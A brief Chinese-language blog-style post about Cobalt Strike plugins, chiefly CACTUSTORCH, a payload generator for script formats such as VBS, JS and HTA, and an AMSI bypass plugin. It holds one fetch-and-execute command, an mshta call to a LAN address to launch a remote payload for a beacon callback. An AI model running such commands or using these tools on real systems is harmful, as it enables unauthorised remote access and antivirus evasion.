cs插件-CACTUSTORCH

CACTUSTORCH是payload生成器,可以生成以下这些格式的payload。

VBS
VBA
JS
JSE
WSF
HTA
VBE

使用方法

如果不会添加cs插件的可以看看这个视频:CobaltStrike的插件(八)

mshta.exe http://192.168.18.30/a

amsi bypass插件

总结

CACTUSTORCH是一个五年前的工具。

amsi bypass是一个四年前的工具。

这些工具的作用是生成各种格式的payload,达到一句话上线的效果。

DotNetToJScript这个工具是先出来的,后来出了CACTUSTORCH,比第一款工具生成的payload格式要全很多。

当然都过去几年了,直接运行肯定是不免杀的。

参考资料